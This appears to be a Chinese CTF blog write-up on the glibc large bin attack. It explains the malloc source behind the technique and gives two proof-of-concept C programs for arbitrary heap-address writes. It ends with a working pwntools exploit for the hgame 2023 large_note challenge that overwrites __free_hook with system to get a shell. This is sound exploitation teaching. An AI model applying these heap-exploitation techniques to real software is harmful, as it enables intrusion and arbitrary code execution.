large bin attack

还是hgame(让我们说谢谢hgame),之前学的时候有看到过这个攻击方式,当时觉得很鸡肋,现在啪啪打脸━((*′д`)爻(′д`*))━!!!!

原理

large bin attack需要利用的是malloc里将chunk从unsorted bin摘除,放入large bin的过程,相关源码如下(ps:再放一遍largebin结构)(pps:chunk链的头结点的bk指向更大的chunk链的头节点,尾结点的fd指向更小的chunk链的头节点):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
//定位至unsorted bin的最后一个chunk一个个摘下直到unsorted bin没有chunk
{
bck = victim->bk;
//筛去过大或过小的chunk
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);

……

//从unsorted bin中摘下chunk的过程
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

……

if (in_smallbin_range (size))
{
……
}
//放入large bin
else
{
//计算index
victim_index = largebin_index (size);
//bck定位至第一个chunk链(large bin数组)
bck = bin_at (av, victim_index);
//fwd定位至第二个chunk链(最大的chunk链)
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)//非空
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
//bck->bk定位至最后一个chunk链(最小的chunk链)
//如果victim比已有最小的chunk还小
{
//fwd定位至第一个chunk链,bck定位至最后一个chunk链
fwd = bck;
bck = bck->bk;

//fd_nextsize指向最大的zhunk链,bk_nextsize指向最小的chunk链
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
//victim成为最小的chunk链和最大的chunk链连接
//原最小的chunk链和victim连接成为第二小的chunk链
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
//fwd从大到小移动直至小于等于victim
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

//如果vctim和fwd大小相等
if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
//fwd定位至该小chunk链的第二个chunk
fwd = fwd->fd;
//fwd是比victim小的最大的chunk链
else
{
//chunk链连接同上
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
//bck定位至比victim大的第一个chunk链
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

//fwd是victim的fd,bck是victim的bk
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}

利用一

这种利用方法利用的是第一个

1
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))

实现效果任意地址写一个堆地址
实验代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>

size_t g_Target = 0xABCDEF20220807;
int main()
{
char* large_chunk1 = (char*)malloc(0x450);
char* pad1 = (char*)malloc(0x20);
char* large_chunk2 = (char*)malloc(0x440);
char* pad2 = (char*)malloc(0x20);

free(large_chunk1);
char* pad3 = (char*)malloc(0x500);

free(large_chunk2);

*(size_t*)(large_chunk1+0x18)=((size_t)&g_Target)-0x20;

char* p1 = (char*)malloc(0x20);

return 0;
}

  • 先申请四个chunk,其中pad1、pad2用于隔离,防止合并
  • 释放chunk1进入unsorted bin
  • 申请pad3,unsorted bin中的chunk1放进large bin,此时chunk1的fd_nextsize和bk_nextsize都指向自己
  • 释放chunk2,chunk2进入unsorted bin
  • 更改chunk1的bk_nextsize为g_Target-0x20
  • 申请一个chunk,chunk2进入large bin。由于chunk2小于chunk1,执行以下代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    victim_index = largebin_index (size);
    bck = bin_at (av, victim_index);
    fwd = bck->fd;

    ……

    fwd = bck;
    bck = bck->bk;//chunk1

    victim->fd_nextsize = fwd->fd;
    //chunk2->fd_nextsize=chunk1
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    //chunk2->bk_nextsize=chunk1->bk_nextsize=g_Target-0x20
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
    //chunk1->bk_nextsize=chunk2
    //(g_Target-0x20)->fd_nextsize=*g_Target=chunk2
  • 更改成功
    ps:示意图如下:

利用步骤

  • malloc一块size1大小的large chunk(chunk1)
  • malloc一块随便大小的chunk(防止合并)
  • malloc一块size2大小的large chunk,要求size2<size1且size1和size2在同一个large bin范围内
  • malloc一块随便大小的chunk(防止合并)
  • free(chunk1),chunk1进入unsorted bin
  • malloc一块size3的large chunk,要求size3>size1(不触发分割),chunk1进入large bin
  • free(chunk2),chunk2进入unsorted bin
  • 修改chunk1->bk_nextsize=Target-0x20
  • malloc一块chunk(大小不等于size2),chunk2进入large bin,触发large bin attack

利用二

2.30以前

这种方法利用的是第二个else,实现效果是任意地址写两个堆地址
实验代码如下(实验代码来源于how2heap代码,删除了一些输出):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;


unsigned long *p1 = malloc(0x420);
malloc(0x20);

unsigned long *p2 = malloc(0x500);
malloc(0x20);

unsigned long *p3 = malloc(0x500);
malloc(0x20);

free(p1);
free(p2);

malloc(0x90);

free(p3);

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

malloc(0x90);

fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

// sanity check
assert(stack_var1 != 0);
assert(stack_var2 != 0);

return 0;
}
  • malloc一个size1的chunk(chunk1)
  • malloc随便一个chunk防止合并
  • malloc一个size2的chunk(chunk2),要求size1<size2
  • malloc随便一个chunk防止合并
  • malloc一个size3的chunk(chunk3),要求size2<size3且在一个large bin的范围内
  • malloc随便一个chunk防止合并
  • free掉chunk1和chunk2,进入unsorted bin
  • malloc一个size4的chunk,chunk1和chunk2先进入large bin,然后切割chunk1返回,剩下的chunk1_left被放入unsorted bin
  • free掉chunk3,chunk3放进unsorted bin
  • 修改chunk2如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    修改前:
    chunk2
    size -> size2
    fd -> large bin
    bk -> large bin
    fd_nextsize -> chunk2
    bk_nextsize -> chunk2

    修改后:
    chunk2
    size -> size2
    fd -> null
    bk -> target1-0x10
    fd_nextsize -> null
    bk_nextsize -> target2-0x20
  • 随便malloc一个chunk,chunk1_left进入small bin,chunk3放进large bin,然后从chunk1_left中切割返回(剩下的放进unsorted bin)
    重点分析下chunk3放进large bin这一步:
    由于size2<size3,所以chunk3会插入chunk2和large bin中间,执行else中的第二个else部分代码(如下):
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    victim_index = largebin_index (size);
    bck = bin_at (av, victim_index);//large bin
    fwd = bck->fd;//chunk2

    ……

    victim->fd_nextsize = fwd;
    //chunk3->fd_nextsize=chunk2
    victim->bk_nextsize = fwd->bk_nextsize;
    //chunk3->bk_nextsize=chunk2->bk_nextsize=target2-0x20
    fwd->bk_nextsize = victim;
    //chunk2->bk_nextsize=chunk3
    victim->bk_nextsize->fd_nextsize = victim;
    //chunk3->bk_nextsize ->fd_nextsize =
    //(target2-0x20) ->fd_nextsize =chunk3
    //target2 =chunk3
    bck = fwd->bk;
    //bck=chunk2->bk=target1-0x10

    ……

    mark_bin (av, victim_index);
    victim->bk = bck;
    //chunk3->bk=target1-0x10
    victim->fd = fwd;
    //chunk3->fd=chunk2
    fwd->bk = victim;
    //chunk2->bk=chunk3
    bck->fd = victim;
    //(target1-0x10)->fd=chunk3
    //target1=chunk3
  • 更改成功
    ps:示意图如下:
利用步骤
  • malloc一个size1的chunk(chunk1)
  • malloc随便一个chunk防止合并
  • malloc一个size2的chunk(chunk2),要求size1<size2
  • malloc随便一个chunk防止合并
  • malloc一个size3的chunk(chunk3),要求size2<size3且在一个large bin的范围内
  • malloc随便一个chunk防止合并
  • free掉chunk1和chunk2
  • malloc一个size4的chunk,要求size1-size4属于small bin
  • free掉chunk3
  • 修改chunk2如下:
    1
    2
    3
    4
    5
    6
    chunk2
    size -> size2
    fd -> null
    bk -> target1-0x10
    fd_nextsize -> null
    bk_nextsize -> target2-0x20
  • 随便malloc一个chunk,size<size1-size4,触发large bin attack

2.30以后

增加检查

1
2
3
4
5
6
7
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");

……

if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

利用二不成立了,只能使用利用一

例题hgame 2023 week3 large_note

思路

看到这个名字第一反应就是large bin attack,但参见上文↑,我一直觉得这个漏洞很鸡肋不知道怎么用。直到我半夜搜到👉这个👈
这道题最大的问题就是申请的chunk过大不在tcache的范围内,不能uaf。但large bin attack可以在tcache_max_bin处写下大至,使得更大的chunk能够放进tcache就可以uaf了(tcache_max_bin在mp_+80的地方,本身值为0x40),具体操作见上
之后步骤同safe_note

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

def add(index,size):
p.sendlineafter(b'>',b'1')
p.sendlineafter(b'Index: ',str(index).encode())
p.sendlineafter(b'Size: ',str(size).encode())
def delete(index):
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'Index: ',str(index).encode())
def edit(index,content):
p.sendlineafter(b'>',b'3')
p.sendlineafter(b'Index: ',str(index).encode())
p.sendafter(b'Content: ',content)
def show(index):
p.sendlineafter(b'>',b'4')
p.sendlineafter(b'Index: ',str(index).encode())
def pack(pos, ptr):
return (pos >> 12) ^ ptr

#p=process('./large')
p=remote('week-3.hgame.lwsec.cn',30719)
#gdb.attach(p)
libc=ELF('./2.32-0ubuntu3.2_amd64/libc-2.32.so')

add(0,0x510)
add(1,0x510)
add(2,0x500)
add(3,0x500)
delete(0)
edit(0,b'a')
show(0)
s=p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')
libcbase=u64(s)-0x70-libc.symbols['__malloc_hook']-0x61
print(hex(libcbase))
tcache_max_bin=libcbase+0x1e3280+80
print(hex(tcache_max_bin))
edit(0,b'\x00')
add(4,0x600)
delete(2)
show(0)
pad1=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
print(hex(pad1))
edit(0,p64(pad1)+b'\x00'*0x10+p64(tcache_max_bin-0x20))
add(5,0x600)
delete(5)
show(5)
s=p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')
heap=(u64(s)<<12)-0x1000
print(hex(heap))
free_hook=libcbase+libc.symbols['__free_hook']
system_addr=libcbase+libc.symbols['system']
add(6,0x610)
add(7,0x610)
delete(7)
delete(6)
edit(6,p64(pack(heap+0x2930,free_hook)))
add(8,0x610)
edit(8,b'/bin/sh\x00')
add(9,0x610)
edit(9,p64(system_addr))
delete(8)
p.interactive()
#gdb.attach(p)
#pause()

large bin attack
http://akaieurus.github.io/2023/01/25/large-bin-attack/
作者
Eurus
发布于
2023年1月25日
许可协议